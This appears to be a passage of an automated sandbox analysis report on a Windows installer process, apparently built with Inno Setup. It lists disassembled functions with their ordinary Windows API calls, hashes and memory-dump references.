Instruction ID: cd3cf3ec7fba9d7ce51e799f7c5b4265af527ddaa3f41ab80d914f6c7bcac3b9
Opcode Fuzzy Hash: ac0e4c5cf4e5570656f2ce48f9db2bd67d3f5e148baebc3b6527ce026dfeb88c
Instruction Fuzzy Hash: A7E092B1744744AEE715AFA0EC52F3A77AAEB49B00F6204BBF500D2A80D7389D00DE15

Uniqueness

Uniqueness Score: -1.00%

Function 004786A4, Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000FC), ref: 004786AB
DestroyWindow.USER32(00000000,00000000,000000FC,?,?,00614EFE,006B75B7,?,?,?,?,006B8087), ref: 004786B3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$DestroyLong
String ID:
API String ID: 2871862000-0
Opcode ID: a0f4de818b6c187177cc114b37eba82a09dd20e37bb5ee93d5eef72e24578566
Instruction ID: c410a6bbb0581be46f1468b21c97e0a54dad118b04ee59d8e0f801625c1648ef
Opcode Fuzzy Hash: a0f4de818b6c187177cc114b37eba82a09dd20e37bb5ee93d5eef72e24578566
Instruction Fuzzy Hash: EAC0126121213026562132792CC98EF008C8C833B93A6862FF824962E2DB4D0D8242AD

Uniqueness

Uniqueness Score: -1.00%

Function 00409B58, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00409BA6,?,006C4000,006D0B9C,?,?,00409FA9,?,?,?,0040A032,0040701B,00407062,?,?), ref: 00409B96

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 29d77d1977de03f842f62e82ece66a1c881036920cb29be16d73caabd79fdd10
Instruction ID: 389971a1f4baea938d1d0fa213264d1b5a13cd789ecb9c39f2161e3fb8af8bd3
Opcode Fuzzy Hash: 29d77d1977de03f842f62e82ece66a1c881036920cb29be16d73caabd79fdd10
Instruction Fuzzy Hash: 03F090316057059EE3314F0AB880F13BBACFB49774B65047BD848A2792D3B9BC00C5A4

Uniqueness

Uniqueness Score: -1.00%

Function 004236F4, Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000004,00000000,00000004,00000080,00000000,?,?,00443D44,00469959,00000000,00469A44,?,?,00443D44), ref: 0042373D

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 584b7fa7e7b29f910307bf3ec789d0f16a719a56bd4a9d8e48aac09a615194da
Instruction ID: 8dfed55e6d8a22672dc3f1ffa9947b8613efbdeb4d3f47b158d81c1b607e3982
Opcode Fuzzy Hash: 584b7fa7e7b29f910307bf3ec789d0f16a719a56bd4a9d8e48aac09a615194da
Instruction Fuzzy Hash: 46E0DFE3B401243AF7206AAE9C82F6B9159CB81776F16023AFB50EB2D1C159DC0082EC

Uniqueness

Uniqueness Score: -1.00%

Function 005C72F8, Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,005CAC2A,00000000,005CAC7B,?,005CAE5C), ref: 005C7317

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 92174c62a2c45d8a2c12e6bf488df06399d2689c0495a4d8e1833499a2fb33bf
Instruction ID: 641584d36dbd7fbf743d3cd11ed81fd1cc40cbed176580940663114c4c94ec85
Opcode Fuzzy Hash: 92174c62a2c45d8a2c12e6bf488df06399d2689c0495a4d8e1833499a2fb33bf
Instruction Fuzzy Hash: E5E0D8607983452BE33465984C03F7A1649A7C4F01FA44C3D7A008E6D5D6AA9855A696

Uniqueness

Uniqueness Score: -1.00%

Function 005C5584, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,005C55CA,?,00000000,00000000,?,005C561A,00000000,0060BBD5,00000000,0060BBF6,?,00000000,00000000,006B79E6), ref: 005C55AD

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e93b562a759e66bd38da0de11055e6c017c6201b016aab2ebf39318819426300
Instruction ID: a8011987c62d8bbf1b65cfa24b3062553c79dfa79d40fcaab4f28f3b38eec933
Opcode Fuzzy Hash: e93b562a759e66bd38da0de11055e6c017c6201b016aab2ebf39318819426300
Instruction Fuzzy Hash: 19E09231344704AFD701EAF2CC92E5DBBADE749700BA108B9F400E7641E678AE408558

Uniqueness

Uniqueness Score: -1.00%

Function 0040D754, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 0040D772

Part of subcall function 0040E9E0: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040EA9A,?,?,00000000), ref: 0040EA1C
Part of subcall function 0040E9E0: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040EA9A,?,?,00000000), ref: 0040EA6D

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: 0c4338d5c56e5e7d061b7f443bbaa86d882c427cb1541d3f25e0c99049ab022e
Instruction ID: e6e9750417710ce6057aade1326652b07051d0f0da16d230474427610a1a2044
Opcode Fuzzy Hash: 0c4338d5c56e5e7d061b7f443bbaa86d882c427cb1541d3f25e0c99049ab022e
Instruction Fuzzy Hash: 6EE0C9B1A013109BCB10DE98C8C5A577794AF08754F044AA6ED64DF386D375D9248BD5

Uniqueness

Uniqueness Score: -1.00%

Function 005C5620, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,?,0060BE09,00000000,0060BE22,?,?,00000000), ref: 005C562B

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d03a573201fb9b0cdfea091783fb35ce32931a896a6b2078e9e32ab2ad42dd54
Instruction ID: 1dd340722b5d2e1c7f6fd742ac5f6a0627fbc3f81dbe6857a6f1813bcaa5320a
Opcode Fuzzy Hash: d03a573201fb9b0cdfea091783fb35ce32931a896a6b2078e9e32ab2ad42dd54
Instruction Fuzzy Hash: 49D080A0241A000DDE2499FD0CCDF5905845F45775FA41B6EFB64D11E2F739ECD31028

Uniqueness

Uniqueness Score: -1.00%

Function 005C55D8, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,005CC453,00000000), ref: 005C55E3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abae256f38c62cea3cb366abebd9f15dae453fea92c2924580d2950efdc0a250
Instruction ID: f244ca52905a2ca0d7e8f8dae3113ac9f84fcdd46d4f5ac2ce178984a170c16f
Opcode Fuzzy Hash: abae256f38c62cea3cb366abebd9f15dae453fea92c2924580d2950efdc0a250
Instruction Fuzzy Hash: 41C08CB5241A000A9E10A5FE1CC9E5E06885A0933A3240B7EF428E22D3E229E8932018

Uniqueness

Uniqueness Score: -1.00%

Function 00424018, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32(00000000,?,006B72C2,00000000,006B74D1,?,?,00000005,00000000,006B750A,?,?,00000000), ref: 00424023

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: b41edb0a4df931d5a21137a954c81f509e59aa98b61e1410a4a2b386c852c7b5
Instruction ID: daf6799c843f8394e9bb8cef5a1a486137c4a768e82a56cfe4f83ef7845b6ded
Opcode Fuzzy Hash: b41edb0a4df931d5a21137a954c81f509e59aa98b61e1410a4a2b386c852c7b5
Instruction Fuzzy Hash: 9AB012A27903400ACE0075FF0CC9D1D00CCD95920F7200FBFB409D2143D57EC484001C

Uniqueness

Uniqueness Score: -1.00%

Function 006AB828, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,006B7594,00000000,006B75A3,?,?,?,?,?,006B8087), ref: 006AB83E

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 6758e0e88d57d95208d96a0f93d89dc0c23ed9957f011aedbea76a8abd3591d3
Instruction ID: 5844eadd80105d2e42a7600cd3cf7755a0515bcc5506321b481997a7c00cba5d
Opcode Fuzzy Hash: 6758e0e88d57d95208d96a0f93d89dc0c23ed9957f011aedbea76a8abd3591d3
Instruction Fuzzy Hash: 4BC0E971D125A0CEC748AB78B9056513BE6E708306B44252BE006C6565D7344441FB01

Uniqueness

Uniqueness Score: -1.00%

Function 0042B89B, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042B8B9), ref: 0042B8AC

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 47be76df901b706332e82315827ab564c907f61500e99d3db6c4ca40acd98452
Instruction ID: ef9e139676d678b46c4a1b97fc79adffdf8f2034590dff84815287bca9bfeada
Opcode Fuzzy Hash: 47be76df901b706332e82315827ab564c907f61500e99d3db6c4ca40acd98452
Instruction Fuzzy Hash: 09B09B76F0C2005DB705B6E5741155C63D8D7C47103E144A7F104C2541D57C5440465C

Uniqueness

Uniqueness Score: -1.00%

Function 004103B4, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 004103B8

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 824204c416b5721b5c5076045aab759d5d6ea889ca6f9a5639c93ededeac691c
Instruction ID: dd27519167a78a1d4504dc33fea54df0b767f1302367e86ea931617165e635a5
Opcode Fuzzy Hash: 824204c416b5721b5c5076045aab759d5d6ea889ca6f9a5639c93ededeac691c
Instruction Fuzzy Hash: FAA012144089000ACC04F7194C4340B35905D40114FC40668745CA92C3E61985644ADB

Uniqueness

Uniqueness Score: -1.00%

Function 00478454, Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,?,?,?,0051557F,00517B00,?,?,?,00000000,?,005ACC13), ref: 00478472

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: de729ddde1ab35689ebcf33e75b4741765b06252e55050244c733b99a5348007
Instruction ID: ab27ebc95461ba232bf13c55df377a678303af6bdd926863771c3d858f146c26
Opcode Fuzzy Hash: de729ddde1ab35689ebcf33e75b4741765b06252e55050244c733b99a5348007
Instruction Fuzzy Hash: B5111C746403169BD720DF19C881B82F7E5EF88354F14C53AE9588B385E7B4E904CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004056E8, Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,000001A3,00405CFF,000000FF,004062A4,00000000,0040F3A7,00000000,0040F8B5,00000000,0040FB77,00000000), ref: 004056FF

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 372fdb11d68696d0a9504d5671ad1f35a7de9a6c0df944fae13850880d11afbd
Instruction ID: 40859592abdda3e3096ffbba1f4dd7bba12a73507ad120b9e5aa9eaa2caa55c8
Opcode Fuzzy Hash: 372fdb11d68696d0a9504d5671ad1f35a7de9a6c0df944fae13850880d11afbd
Instruction Fuzzy Hash: DEF0AFF2B003114FD7149FB89D40B127BE6F708354F10413EE909EB794D7B588008B88

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00625580, Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 187pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006255E8
QueryPerformanceCounter.KERNEL32(00000000,00000000,0062587B,?,?,00000000,00000000,?,0062627A,?,00000000,00000000), ref: 006255F1
GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 006255FB
GetCurrentProcessId.KERNEL32(?,00000000,00000000,0062587B,?,?,00000000,00000000,?,0062627A,?,00000000,00000000), ref: 00625604
CreateNamedPipeW.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0062567A
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00625688
CreateFileW.KERNEL32(00000000,C0000000,00000000,006CC098,00000003,00000000,00000000,00000000,00625837,?,00000000,40080003,00000006,00000001,00002000,00002000), ref: 006256D0
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,00625826,?,00000000,C0000000,00000000,006CC098,00000003,00000000,00000000,00000000,00625837), ref: 00625709

Part of subcall function 005C61D8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005C61EB

CreateProcessW.KERNEL32 ref: 006257B2
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 006257E8
CloseHandle.KERNEL32(000000FF,0062582D,?,00000000,00000000,000000FF,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00625820

Part of subcall function 0060C7E4: GetLastError.KERNEL32(00000000,0060D50A,00000005,00000000,0060D532,?,?,006D479C,?,00000000,00000000,00000000,?,006B79CB,00000000,006B79E6), ref: 0060C7E7

Strings

SetNamedPipeHandleState, xrefs: 00625712
Helper process PID: %u, xrefs: 00625805
i, xrefs: 00625765
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 00625650
CreateFile, xrefs: 006256DE
64-bit helper EXE wasn't extracted, xrefs: 006255DC
D, xrefs: 0062572B
helper %d 0x%x, xrefs: 00625791
Starting 64-bit helper process., xrefs: 006255B5
CreateProcess, xrefs: 006257BB
Cannot utilize 64-bit features on this version of Windows, xrefs: 006255C9
CreateNamedPipe, xrefs: 00625698

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
